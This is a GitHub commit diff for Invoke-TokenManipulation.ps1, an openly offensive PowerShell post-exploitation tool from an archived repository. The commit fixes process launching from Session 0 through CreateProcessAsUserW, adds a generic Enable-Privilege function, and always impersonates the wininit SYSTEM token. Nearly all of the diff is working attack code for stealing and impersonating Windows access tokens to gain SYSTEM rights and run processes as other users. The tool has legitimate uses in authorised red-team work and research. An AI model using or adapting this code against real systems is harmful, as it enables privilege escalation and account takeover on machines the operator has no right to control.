Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit bb41ab9

Browse files
committed
Bug fixes for Invoke-TokenManipulation
Processes could not be started when the script was being run from Session 0. The fix is to use the CreateProcessAsUserW function when running in Session 0. This API requires SeAssignPrimaryTokenPrivilege priviege, so for non-session0 calls I still use CreateProcessWithTokenW which does not require special privileges.
1 parent 1503375 commit bb41ab9

File tree

1 file changed

+142
-32
lines changed

1 file changed

+142
-32
lines changed

Exfiltration/Invoke-TokenManipulation.ps1

Lines changed: 142 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,11 @@ so I created the NoUI flag. ALSO: When creating a process, the script will reque
2323
This could show up in logs depending on the level of monitoring.
2424
2525
26+
PERMISSIONS REQUIRED:
27+
SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
28+
SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
29+
30+
2631
Important differences from incognito:
2732
First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
2833
between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
@@ -44,7 +49,7 @@ Author: Joe Bialek, Twitter: @JosephBialek
4449
License: BSD 3-Clause
4550
Required Dependencies: None
4651
Optional Dependencies: None
47-
Version: 1.0
52+
Version: 1.1
4853
4954
.DESCRIPTION
5055
@@ -730,8 +735,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
730735
}
731736

732737

733-
#Enable SeSecurityPrivilege, needed to query security information for desktop DACL
734-
function Enable-SeSecurityPrivilege
738+
#Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL
739+
function Enable-SeAssignPrimaryTokenPrivilege
735740
{
736741
[IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
737742
if ($ThreadHandle -eq [IntPtr]::Zero)
@@ -772,7 +777,97 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
772777
$LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
773778
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
774779

775-
$Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject)
780+
$Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject)
781+
782+
if ($Result -eq $false)
783+
{
784+
Throw (New-Object ComponentModel.Win32Exception)
785+
}
786+
787+
[UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
788+
$LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
789+
$LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
790+
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
791+
792+
$LuidAndAttributes.Luid = $LuidObject
793+
$LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
794+
795+
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
796+
$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
797+
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
798+
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
799+
$TokenPrivileges.PrivilegeCount = 1
800+
$TokenPrivileges.Privileges = $LuidAndAttributes
801+
802+
$Global:TokenPriv = $TokenPrivileges
803+
804+
$Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
805+
if ($Result -eq $false)
806+
{
807+
Throw (New-Object ComponentModel.Win32Exception)
808+
}
809+
810+
$CloseHandle.Invoke($ThreadToken) | Out-Null
811+
}
812+
813+
814+
#Enable SeSecurityPrivilege, needed to query security information for desktop DACL
815+
function Enable-Privilege
816+
{
817+
Param(
818+
[Parameter()]
819+
[ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
820+
"SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
821+
"SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
822+
"SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
823+
"SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
824+
"SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
825+
"SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
826+
"SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
827+
[String]
828+
$Privilege
829+
)
830+
831+
[IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
832+
if ($ThreadHandle -eq [IntPtr]::Zero)
833+
{
834+
Throw "Unable to get the handle to the current thread"
835+
}
836+
837+
[IntPtr]$ThreadToken = [IntPtr]::Zero
838+
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
839+
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
840+
841+
if ($Result -eq $false)
842+
{
843+
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
844+
{
845+
$Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
846+
if ($Result -eq $false)
847+
{
848+
Throw (New-Object ComponentModel.Win32Exception)
849+
}
850+
851+
$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
852+
if ($Result -eq $false)
853+
{
854+
Throw (New-Object ComponentModel.Win32Exception)
855+
}
856+
}
857+
else
858+
{
859+
Throw ([ComponentModel.Win32Exception] $ErrorCode)
860+
}
861+
}
862+
863+
$CloseHandle.Invoke($ThreadHandle) | Out-Null
864+
865+
$LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
866+
$LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
867+
$LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
868+
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
869+
870+
$Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject)
776871

777872
if ($Result -eq $false)
778873
{
@@ -796,20 +891,22 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
796891

797892
$Global:TokenPriv = $TokenPrivileges
798893

894+
Write-Verbose "Attempting to enable privilege: $Privilege"
799895
$Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
800896
if ($Result -eq $false)
801897
{
802898
Throw (New-Object ComponentModel.Win32Exception)
803899
}
804900

805901
$CloseHandle.Invoke($ThreadToken) | Out-Null
902+
Write-Verbose "Enabled privilege: $Privilege"
806903
}
807904

808905

809906
#Change the ACL of the WindowStation and Desktop
810907
function Set-DesktopACLs
811908
{
812-
Enable-SeSecurityPrivilege
909+
Enable-Privilege -Privilege SeSecurityPrivilege
813910

814911
#Change the privilege for the current window station to allow full privilege for all users
815912
$WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
@@ -1454,7 +1551,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
14541551
[String]
14551552
$ProcessArgs
14561553
)
1457-
1554+
Write-Verbose "Entering Create-ProcessWithToken"
14581555
#Duplicate the token so it can be used to create a new process
14591556
[IntPtr]$NewHToken = [IntPtr]::Zero
14601557
$Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
@@ -1473,14 +1570,30 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
14731570
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
14741571
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
14751572

1476-
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName)
1573+
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName")
14771574
$ProcessArgsPtr = [IntPtr]::Zero
14781575
if (-not [String]::IsNullOrEmpty($ProcessArgs))
14791576
{
1480-
$ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs)
1577+
$ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs")
1578+
}
1579+
1580+
$FunctionName = ""
1581+
if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
1582+
{
1583+
#Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
1584+
#this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
1585+
#which is not ideal.
1586+
Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."
1587+
Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
1588+
$Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
1589+
$FunctionName = "CreateProcessAsUserW"
1590+
}
1591+
else
1592+
{
1593+
Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."
1594+
$Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
1595+
$FunctionName = "CreateProcessWithTokenW"
14811596
}
1482-
1483-
$Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
14841597
if ($Success)
14851598
{
14861599
#Free the handles returned in the ProcessInfo structure
@@ -1491,7 +1604,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
14911604
else
14921605
{
14931606
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1494-
Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode"
1607+
Write-Warning "$FunctionName failed. Error code: $ErrorCode"
14951608
}
14961609

14971610
#Free StartupInfo memory and ProcessInfo memory
@@ -1540,20 +1653,18 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
15401653
{
15411654
$AllTokens = @()
15421655

1543-
if ([Environment]::UserName -ine "SYSTEM")
1656+
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
1657+
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token.
1658+
$systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
1659+
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
15441660
{
1545-
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
1546-
$systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
1547-
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
1548-
{
1549-
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
1550-
}
1661+
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
1662+
}
15511663

1552-
if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
1553-
{
1554-
$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
1555-
$systemTokenInfo = $null
1556-
}
1664+
if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
1665+
{
1666+
$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
1667+
$systemTokenInfo = $null
15571668
}
15581669

15591670
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
@@ -1639,7 +1750,12 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
16391750
Write-Error "Script must be run as administrator" -ErrorAction Stop
16401751
}
16411752

1642-
$OriginalUser = [Environment]::UserName
1753+
#If running in session 0, force NoUI
1754+
if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
1755+
{
1756+
Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)"
1757+
$NoUI = $true
1758+
}
16431759

16441760
if ($PsCmdlet.ParameterSetName -ieq "RevToSelf")
16451761
{
@@ -1727,10 +1843,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
17271843

17281844
Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs
17291845

1730-
if ($OriginalUser -ine "SYSTEM")
1731-
{
1732-
Invoke-RevertToSelf
1733-
}
1846+
Invoke-RevertToSelf
17341847
}
17351848
elseif ($ImpersonateUser)
17361849
{
@@ -1757,10 +1870,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
17571870
Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values
17581871
}
17591872

1760-
if ($OriginalUser -ine "SYSTEM")
1761-
{
1762-
Invoke-RevertToSelf
1763-
}
1873+
Invoke-RevertToSelf
17641874

17651875
Free-AllTokens -TokenInfoObjs $AllTokens
17661876
}

0 commit comments

Comments
 (0)